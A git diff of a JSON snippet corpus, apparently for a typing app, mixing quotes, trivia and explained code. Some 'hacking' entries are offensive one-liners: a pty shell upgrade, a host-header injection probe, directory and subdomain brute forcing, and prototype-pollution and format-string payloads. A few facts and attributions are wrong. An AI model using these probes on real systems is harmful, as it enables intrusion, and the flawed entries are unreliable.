+    "attribution": "Bleach"
   },
   {
-    "category": "movies",
-    "content": "It's only after we've lost everything that we're free to do anything.",
-    "attribution": "Fight Club (1999)"
+    "category": "shell",
+    "content": "diff <(sort a.txt) <(sort b.txt)",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "Process substitution gives two commands to diff as if they were files, without writing either to disk."
   },
   {
-    "category": "general",
-    "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface."
+    "category": "technology",
+    "content": "The most damaging phrase in the language is: we've always done it this way.",
+    "attribution": "Grace Hopper"
   },
   {
-    "category": "technology",
-    "content": "A distributed system is one in which the failure of a computer you didn't know existed can render your own computer unusable.",
-    "attribution": "Leslie Lamport"
+    "category": "anime",
+    "content": "The only ones who should kill are those who are prepared to be killed.",
+    "attribution": "Code Geass"
   },
   {
-    "category": "general",
-    "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia."
+    "category": "anime",
+    "content": "Trees and people used to be good friends.",
+    "attribution": "My Neighbor Totoro"
   },
   {
-    "category": "science",
-    "content": "The good thing about science is that it's true whether or not you believe in it.",
-    "attribution": "Neil deGrasse Tyson"
+    "category": "nature",
+    "content": "In the woods, we return to reason and faith. There I feel that nothing can befall me in life which nature cannot repair.",
+    "attribution": "Ralph Waldo Emerson, Nature"
   },
   {
-    "category": "literature",
-    "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
-    "attribution": "Bram Stoker, Dracula"
+    "category": "general",
+    "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later."
   },
   {
     "category": "programming",
-    "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
+    "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
   },
   {
     "category": "hacking",
-    "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')",
-    "attribution": "Web",
-    "language": "javascript",
-    "explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it."
+    "content": "cur.execute('SELECT * FROM users WHERE name = %s AND active = %s', (name, True))",
+    "attribution": "Defence",
+    "language": "python",
+    "explanation": "Parameterised queries send the values separately from the statement, so nothing the user types can become SQL."
   },
   {
-    "category": "shell",
-    "content": "find . -name '*.log' -print0 | xargs -0 grep -l 'ERROR'",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "xargs turns a stream of names into arguments. -0 with -print0 is what makes filenames containing spaces safe."
+    "category": "general",
+    "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built."
   },
   {
     "category": "quotes",
@@ -523,144 +507,203 @@
   },
   {
     "category": "general",
-    "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered."
+    "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools."
   },
   {
-    "category": "general",
-    "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later."
+    "category": "technology",
+    "content": "Adding manpower to a late software project makes it later.",
+    "attribution": "Fred Brooks, The Mythical Man-Month"
   },
   {
-    "category": "programming",
-    "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
+    "category": "anime",
+    "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
+    "attribution": "Mushishi"
   },
   {
-    "category": "history",
-    "content": "The strong do what they can and the weak suffer what they must.",
-    "attribution": "Thucydides, History of the Peloponnesian War"
+    "category": "technology",
+    "content": "Security is a process, not a product.",
+    "attribution": "Bruce Schneier"
+  },
+  {
+    "category": "quotes",
+    "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
+    "attribution": "Confucius"
+  },
+  {
+    "category": "general",
+    "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later."
   },
   {
     "category": "science",
-    "content": "If I have seen further it is by standing on the shoulders of giants.",
-    "attribution": "Isaac Newton"
+    "content": "Somewhere, something incredible is waiting to be known.",
+    "attribution": "Carl Sagan"
   },
   {
     "category": "anime",
-    "content": "I feel like I'm always searching for someone, or something.",
-    "attribution": "Your Name"
+    "content": "When do you think people die? When they are forgotten.",
+    "attribution": "One Piece"
   },
   {
-    "category": "anime",
-    "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
-    "attribution": "Naruto"
+    "category": "sysadmin",
+    "content": "docker system prune -af --volumes --filter 'until=168h'",
+    "attribution": "Containers",
+    "language": "shell",
+    "explanation": "Removes stopped containers, unused networks and dangling images. The usual cause of a full disk on a build host."
+  },
+  {
+    "category": "sysadmin",
+    "content": "df -i | awk '$5+0 > 80 {print}'",
+    "attribution": "Disk",
+    "language": "shell",
+    "explanation": "A disk that reports free space but still refuses writes is usually out of inodes, not bytes."
   },
   {
     "category": "philosophy",
-    "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions."
+    "content": "I think, therefore I am.",
+    "attribution": "Rene Descartes, Discourse on the Method"
   },
   {
-    "category": "shell",
-    "content": "curl -s https://api.example.com/users | jq -r '.[] | select(.active) | .email'",
-    "attribution": "Pipelines",
+    "category": "programming",
+    "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
+    "attribution": "Shell",
     "language": "shell",
-    "explanation": "jq selects and reshapes JSON. -r prints raw strings, so the output is usable by the next command rather than quoted."
+    "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
+  },
+  {
+    "category": "technology",
+    "content": "There is no code faster than no code.",
+    "attribution": "Kevlin Henney"
   },
   {
     "category": "science",
-    "content": "The cosmos is within us. We are made of star-stuff. We are a way for the universe to know itself.",
-    "attribution": "Carl Sagan, Cosmos"
+    "content": "An expert is a person who has made all the mistakes that can be made in a very narrow field.",
+    "attribution": "Niels Bohr"
   },
   {
-    "category": "history",
-    "content": "Never in the field of human conflict was so much owed by so many to so few.",
-    "attribution": "Winston Churchill, 1940"
+    "category": "general",
+    "content": "Simplicity is the soul of efficiency."
+  },
+  {
+    "category": "quotes",
+    "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
+    "attribution": "Marcus Aurelius, Meditations"
   },
   {
     "category": "programming",
-    "content": "git reflog --date=iso | head -20",
+    "content": "git bisect start HEAD v1.2.0 && git bisect run ./test.sh",
     "attribution": "Git",
     "language": "shell",
-    "explanation": "Recovers commits that are no longer reachable from any branch. A hard reset does not destroy them; it just stops pointing at them."
+    "explanation": "Finds the commit that introduced a bug by bisecting history. Give it a known-good and known-bad commit and it halves the range each step."
   },
   {
-    "category": "anime",
-    "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
-    "attribution": "Fullmetal Alchemist"
+    "category": "history",
+    "content": "I am tired of fighting. From where the sun now stands, I will fight no more forever.",
+    "attribution": "Chief Joseph, Nez Perce, 1877"
   },
   {
-    "category": "history",
-    "content": "I have cherished the ideal of a democratic and free society in which all persons live together in harmony and with equal opportunities.",
-    "attribution": "Nelson Mandela, 1964"
+    "category": "general",
+    "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface."
   },
   {
-    "category": "literature",
-    "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
-    "attribution": "H.G. Wells, The Time Machine"
+    "category": "philosophy",
+    "content": "The beginning is the most important part of the work.",
+    "attribution": "Plato, The Republic"
+  },
+  {
+    "category": "programming",
+    "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
+  },
+  {
+    "category": "quotes",
+    "content": "Failure is impossible.",
+    "attribution": "Susan B. Anthony"
   },
   {
     "category": "shell",
-    "content": "ls *.png | xargs -P4 -I{} convert {} -resize 50% small/{}",
+    "content": "make 2>&1 | tee build.log | grep -E 'error|warning'",
     "attribution": "Pipelines",
     "language": "shell",
-    "explanation": "Runs a command per input line in parallel. -P4 keeps four running at once, and -I{} places each name where the braces are."
+    "explanation": "tee writes to a file and passes the stream on, so you can log and keep processing in the same pipeline."
   },
   {
-    "category": "anime",
-    "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
-    "attribution": "Princess Mononoke"
+    "category": "literature",
+    "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
+    "attribution": "F. Scott Fitzgerald, The Great Gatsby"
   },
   {
-    "category": "philosophy",
-    "content": "It does not matter how slowly you go as long as you do not stop.",
-    "attribution": "Confucius, Analects"
+    "category": "movies",
+    "content": "Oh, what a day. What a lovely day!",
+    "attribution": "Mad Max: Fury Road (2015)"
   },
   {
-    "category": "nature",
-    "content": "In the woods, we return to reason and faith. There I feel that nothing can befall me in life which nature cannot repair.",
-    "attribution": "Ralph Waldo Emerson, Nature"
+    "category": "philosophy",
+    "content": "Every new beginning comes from some other beginning's end.",
+    "attribution": "Seneca, Letters from a Stoic"
   },
   {
-    "category": "hacking",
-    "content": "libc.address = leak - libc.symbols['puts']",
-    "attribution": "Exploit dev",
-    "language": "python",
-    "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated."
+    "category": "science",
+    "content": "I would rather have questions that can't be answered than answers that can't be questioned.",
+    "attribution": "Richard Feynman"
   },
   {
     "category": "literature",
-    "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
-    "attribution": "Jack London, The Call of the Wild"
+    "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
+    "attribution": "Charlotte Bronte, Jane Eyre"
+  },
+  {
+    "category": "philosophy",
+    "content": "Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control."
+  },
+  {
+    "category": "science",
+    "content": "A new scientific truth does not triumph by convincing its opponents, but rather because its opponents eventually die.",
+    "attribution": "Max Planck"
   },
   {
     "category": "history",
-    "content": "That's one small step for a man, one giant leap for mankind.",
-    "attribution": "Neil Armstrong, 1969"
+    "content": "There are many causes that I am prepared to die for but no causes that I am prepared to kill for.",
+    "attribution": "Mahatma Gandhi"
   },
   {
-    "category": "shell",
-    "content": "mount | column -t | grep -v tmpfs",
-    "attribution": "Text processing",
+    "category": "general",
+    "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth."
+  },
+  {
+    "category": "technology",
+    "content": "We can only see a short distance ahead, but we can see plenty there that needs to be done.",
+    "attribution": "Alan Turing, Computing Machinery and Intelligence"
+  },
+  {
+    "category": "technology",
+    "content": "The question of whether a computer can think is no more interesting than the question of whether a submarine can swim.",
+    "attribution": "Edsger Dijkstra"
+  },
+  {
+    "category": "hacking",
+    "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text",
+    "attribution": "Crypto",
     "language": "shell",
-    "explanation": "column formats whitespace-separated input into aligned columns, which makes an unreadable log readable."
+    "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning."
   },
   {
-    "category": "anime",
-    "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
-    "attribution": "Steins;Gate"
+    "category": "nature",
+    "content": "It seems to me that the natural world is the greatest source of excitement, of visual beauty, of intellectual interest.",
+    "attribution": "David Attenborough"
   },
   {
-    "category": "programming",
-    "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
-    "attribution": "Java",
-    "language": "clike",
-    "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
+    "category": "movies",
+    "content": "Get busy living, or get busy dying.",
+    "attribution": "The Shawshank Redemption (1994)"
   },
   {
-    "category": "business",
-    "content": "There is nothing so useless as doing efficiently that which should not be done at all.",
-    "attribution": "Peter Drucker"
+    "category": "programming",
+    "content": "for name, score in zip(names, scores, strict=True): print(f'{name}: {score:>5.1f}')",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "zip pairs two sequences and stops at the shorter one. strict=True makes a length mismatch an error rather than silent truncation."
   },
   {
     "category": "business",
@@ -668,250 +711,273 @@
     "attribution": "Parkinson's Law"
   },
   {
-    "category": "literature",
-    "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
-    "attribution": "Charles Dickens, Great Expectations"
+    "category": "quotes",
+    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
+    "attribution": "Abraham Lincoln, The Gettysburg Address"
   },
   {
     "category": "movies",
-    "content": "With great power comes great responsibility.",
-    "attribution": "Spider-Man (2002)"
+    "content": "I'm gonna make him an offer he can't refuse.",
+    "attribution": "The Godfather (1972)"
+  },
+  {
+    "category": "general",
+    "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone."
   },
   {
     "category": "shell",
-    "content": "sed -i 's/localhost/127.0.0.1/g' config.ini",
-    "attribution": "sed",
+    "content": "awk '{sum += $3} END {print sum, sum/NR}' numbers.txt",
+    "attribution": "awk",
     "language": "shell",
-    "explanation": "Substitute in place. The g flag replaces every match on a line, not just the first; -i writes the file rather than printing."
+    "explanation": "Sums a column and prints the average. END runs after the last line, so NR is the total row count by then."
   },
   {
-    "category": "movies",
-    "content": "There's no crying in baseball.",
-    "attribution": "A League of Their Own (1992)"
+    "category": "science",
+    "content": "The most incomprehensible thing about the world is that it is comprehensible.",
+    "attribution": "Albert Einstein"
   },
   {
-    "category": "hacking",
-    "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */",
-    "attribution": "Memory safety",
+    "category": "programming",
+    "content": "SELECT user_id, wpm, RANK() OVER (PARTITION BY mode ORDER BY wpm DESC) AS rank FROM results;",
+    "attribution": "SQL",
     "language": "clike",
-    "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it."
+    "explanation": "A window function ranks rows within each partition without collapsing them, which a GROUP BY cannot do."
   },
   {
-    "category": "anime",
-    "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
-    "attribution": "Mushishi"
+    "category": "philosophy",
+    "content": "It does not matter how slowly you go as long as you do not stop.",
+    "attribution": "Confucius, Analects"
   },
   {
-    "category": "programming",
-    "content": "try: value = int(raw) except ValueError: value = 0",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
+    "category": "literature",
+    "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
+    "attribution": "Charles Dickens, A Tale of Two Cities"
   },
   {
-    "category": "history",
-    "content": "I am tired of fighting. From where the sun now stands, I will fight no more forever.",
-    "attribution": "Chief Joseph, Nez Perce, 1877"
+    "category": "literature",
+    "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
+    "attribution": "Charles Dickens, Great Expectations"
   },
   {
-    "category": "hacking",
-    "content": "lsmod | awk 'NR>1 {print $1}' | while read m; do modinfo -n \"$m\" 2>/dev/null; done | grep -v '^/lib/modules'",
-    "attribution": "Defence",
-    "language": "shell",
-    "explanation": "Compares running kernel modules against what the package manager installed. An unexpected module is worth explaining."
+    "category": "anime",
+    "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
+    "attribution": "Fullmetal Alchemist"
   },
   {
     "category": "programming",
-    "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
+    "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
     "attribution": "JavaScript",
     "language": "javascript",
-    "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
+    "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
   },
   {
-    "category": "philosophy",
-    "content": "All men by nature desire to know.",
-    "attribution": "Aristotle, Metaphysics"
+    "category": "general",
+    "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north."
   },
   {
-    "category": "philosophy",
-    "content": "The only true wisdom is in knowing you know nothing.",
-    "attribution": "Socrates"
+    "category": "science",
+    "content": "If you know you are on the right track, if you have this inner knowledge, then nobody can turn you off.",
+    "attribution": "Barbara McClintock"
   },
   {
-    "category": "technology",
-    "content": "You can't trust code that you did not totally create yourself.",
-    "attribution": "Ken Thompson, Reflections on Trusting Trust"
+    "category": "nature",
+    "content": "In every walk with nature one receives far more than he seeks.",
+    "attribution": "John Muir"
   },
   {
-    "category": "sysadmin",
-    "content": "0 3 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1",
-    "attribution": "Scheduling",
-    "language": "shell",
-    "explanation": "A cron entry that logs both streams. Without the redirect, cron mails the output to a mailbox nobody reads."
+    "category": "general",
+    "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia."
   },
   {
-    "category": "business",
-    "content": "The market can remain irrational longer than you can remain solvent.",
-    "attribution": "John Maynard Keynes"
+    "category": "hacking",
+    "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403",
+    "attribution": "Web",
+    "language": "shell",
+    "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories."
   },
   {
-    "category": "anime",
-    "content": "If everyone is not special, maybe you can be what you want to be.",
-    "attribution": "Mob Psycho 100"
+    "category": "nature",
+    "content": "In some Native languages the term for plants translates to those who take care of us.",
+    "attribution": "Robin Wall Kimmerer, Braiding Sweetgrass"
   },
   {
     "category": "sysadmin",
-    "content": "ssh -o ControlMaster=auto -o ControlPersist=10m -o ControlPath=~/.ssh/cm-%r@%h:%p host",
-    "attribution": "SSH",
+    "content": "ss -ltnp | awk 'NR>1 {print $4, $6}'",
+    "attribution": "Network",
     "language": "shell",
-    "explanation": "Reuses one connection for subsequent sessions, so every later ssh or scp to the same host skips the handshake."
+    "explanation": "Listening sockets with the process behind each one. The modern replacement for netstat -tulpn."
   },
   {
-    "category": "technology",
-    "content": "Plan to throw one away; you will, anyhow.",
-    "attribution": "Fred Brooks, The Mythical Man-Month"
+    "category": "shell",
+    "content": "awk -F: '{print $1, $7}' /etc/passwd",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "-F sets the field separator. This reads /etc/passwd and prints the username and shell, which are fields 1 and 7."
   },
   {
-    "category": "sysadmin",
-    "content": "df -i | awk '$5+0 > 80 {print}'",
-    "attribution": "Disk",
-    "language": "shell",
-    "explanation": "A disk that reports free space but still refuses writes is usually out of inodes, not bytes."
+    "category": "programming",
+    "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
   },
   {
     "category": "hacking",
-    "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'",
-    "attribution": "Defence",
+    "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'",
+    "attribution": "Post-exploitation",
     "language": "shell",
-    "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed."
+    "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working."
   },
   {
-    "category": "science",
-    "content": "An expert is a person who has made all the mistakes that can be made in a very narrow field.",
-    "attribution": "Niels Bohr"
+    "category": "movies",
+    "content": "I am big. It's the pictures that got small.",
+    "attribution": "Sunset Boulevard (1950)"
   },
   {
-    "category": "literature",
-    "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
-    "attribution": "Oscar Wilde, The Picture of Dorian Gray"
+    "category": "science",
+    "content": "The whole history of science has been the gradual realisation that events do not happen in an arbitrary manner.",
+    "attribution": "Stephen Hawking, A Brief History of Time"
   },
   {
-    "category": "quotes",
-    "content": "Stay hungry, stay foolish.",
-    "attribution": "Steve Jobs"
+    "category": "movies",
+    "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
+    "attribution": "Jurassic Park (1993)"
   },
   {
     "category": "quotes",
-    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
-    "attribution": "Henry David Thoreau, Walden"
+    "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
+    "attribution": "Sojourner Truth, Ain't I a Woman?"
   },
   {
     "category": "movies",
-    "content": "What we've got here is failure to communicate.",
-    "attribution": "Cool Hand Luke (1967)"
+    "content": "I'm as mad as hell, and I'm not going to take this anymore.",
+    "attribution": "Network (1976)"
   },
   {
-    "category": "nature",
-    "content": "There lives the dearest freshness deep down things.",
-    "attribution": "Gerard Manley Hopkins, God's Grandeur"
+    "category": "anime",
+    "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
+    "attribution": "Attack on Titan"
+  },
+  {
+    "category": "general",
+    "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity."
+  },
+  {
+    "category": "business",
+    "content": "There is nothing so useless as doing efficiently that which should not be done at all.",
+    "attribution": "Peter Drucker"
   },
   {
     "category": "technology",
-    "content": "The best way to predict the future is to invent it.",
-    "attribution": "Alan Kay"
+    "content": "All problems in computer science can be solved by another level of indirection.",
+    "attribution": "Butler Lampson"
+  },
+  {
+    "category": "science",
+    "content": "The first principle is that you must not fool yourself, and you are the easiest person to fool.",
+    "attribution": "Richard Feynman"
   },
   {
     "category": "quotes",
-    "content": "The two most important days in your life are the day you are born and the day you find out why.",
-    "attribution": "Mark Twain"
+    "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
+    "attribution": "Thomas Edison"
   },
   {
-    "category": "nature",
-    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life.",
-    "attribution": "Henry David Thoreau, Walden"
+    "category": "quotes",
+    "content": "Stay hungry, stay foolish.",
+    "attribution": "Steve Jobs"
+  },
+  {
+    "category": "literature",
+    "content": "It was the best of times, it was the worst of times.",
+    "attribution": "Charles Dickens, A Tale of Two Cities"
+  },
+  {
+    "category": "anime",
+    "content": "I feel like I'm always searching for someone, or something.",
+    "attribution": "Your Name"
+  },
+  {
+    "category": "technology",
+    "content": "The best way to predict the future is to invent it.",
+    "attribution": "Alan Kay"
   },
   {
     "category": "programming",
-    "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
-    "attribution": "Go",
+    "content": "struct node { int value; struct node *next; };",
+    "attribution": "C",
     "language": "clike",
-    "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
+    "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
   },
   {
-    "category": "hacking",
-    "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT",
-    "attribution": "Defence",
-    "language": "shell",
-    "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing."
+    "category": "programming",
+    "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
   },
   {
-    "category": "general",
-    "content": "Simplicity is the soul of efficiency."
+    "category": "history",
+    "content": "Never in the field of human conflict was so much owed by so many to so few.",
+    "attribution": "Winston Churchill, 1940"
   },
   {
     "category": "sysadmin",
-    "content": "ssh -N -L 5432:127.0.0.1:5432 dbhost",
-    "attribution": "SSH",
+    "content": "systemctl cat sshd.service && systemctl show sshd -p ExecStart",
+    "attribution": "systemd",
     "language": "shell",
-    "explanation": "Forwards a remote port to the local machine, so a service bound to localhost on the server is reachable here."
-  },
-  {
-    "category": "philosophy",
-    "content": "It's not what happens to you, but how you react to it that matters.",
-    "attribution": "Epictetus"
+    "explanation": "Shows what a unit will actually run, including drop-ins, after every override has been merged."
   },
   {
-    "category": "anime",
-    "content": "Whatever happens, happens.",
-    "attribution": "Cowboy Bebop"
+    "category": "movies",
+    "content": "You mustn't be afraid to dream a little bigger, darling.",
+    "attribution": "Inception (2010)"
   },
   {
-    "category": "hacking",
-    "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'",
-    "attribution": "Web",
+    "category": "sysadmin",
+    "content": "ip route get 8.8.8.8",
+    "attribution": "Network",
     "language": "shell",
-    "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable."
+    "explanation": "Which route the kernel will actually use for a destination, including the source address it will pick."
   },
   {
     "category": "philosophy",
-    "content": "A journey of a thousand miles begins with a single step.",
-    "attribution": "Lao Tzu, Tao Te Ching"
+    "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically."
   },
   {
-    "category": "hacking",
-    "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40",
-    "attribution": "Recon",
+    "category": "programming",
+    "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
+    "attribution": "Shell",
     "language": "shell",
-    "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live."
+    "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
   },
   {
-    "category": "programming",
-    "content": "counts = {word: text.count(word) for word in set(text.split())}",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
+    "category": "general",
+    "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface."
   },
   {
-    "category": "programming",
-    "content": "for name, score in zip(names, scores, strict=True): print(f'{name}: {score:>5.1f}')",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "zip pairs two sequences and stops at the shorter one. strict=True makes a length mismatch an error rather than silent truncation."
+    "category": "sysadmin",
+    "content": "rsync -avhn --delete /src/ /dest/",
+    "attribution": "Backup",
+    "language": "shell",
+    "explanation": "Mirrors a tree, deletes what no longer exists on the source, and shows what it would do first. Never run this without -n the first time."
   },
   {
-    "category": "movies",
-    "content": "If you build it, he will come.",
-    "attribution": "Field of Dreams (1989)"
+    "category": "anime",
+    "content": "If you don't take risks, you can't create a future.",
+    "attribution": "One Piece"
   },
   {
-    "category": "business",
-    "content": "It takes twenty years to build a reputation and five minutes to ruin it.",
-    "attribution": "Warren Buffett"
+    "category": "hacking",
+    "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location",
+    "attribution": "Web",
+    "language": "shell",
+    "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection."
   },
   {
-    "category": "technology",
-    "content": "Design is not just what it looks like and feels like. Design is how it works.",
-    "attribution": "Steve Jobs"
+    "category": "literature",
+    "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
+    "attribution": "Louisa May Alcott, Little Women"
   },
   {
     "category": "sysadmin",
@@ -921,183 +987,168 @@
     "explanation": "Resolves a name through a specific server, which is how you tell a stale local cache from a stale zone."
   },
   {
-    "category": "shell",
-    "content": "cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "uniq only collapses adjacent duplicates, which is why sort comes first. -c counts, and the second sort orders by that count."
+    "category": "quotes",
+    "content": "It always seems impossible until it's done.",
+    "attribution": "Nelson Mandela"
   },
   {
-    "category": "philosophy",
-    "content": "It is not that we have a short time to live, but that we waste a lot of it.",
-    "attribution": "Seneca, On the Shortness of Life"
+    "category": "technology",
+    "content": "The web as I envisaged it, we have not seen it yet. The future is still so much bigger than the past.",
+    "attribution": "Tim Berners-Lee"
   },
   {
-    "category": "anime",
-    "content": "Overspecialize, and you breed in weakness. It's slow death.",
-    "attribution": "Ghost in the Shell"
+    "category": "programming",
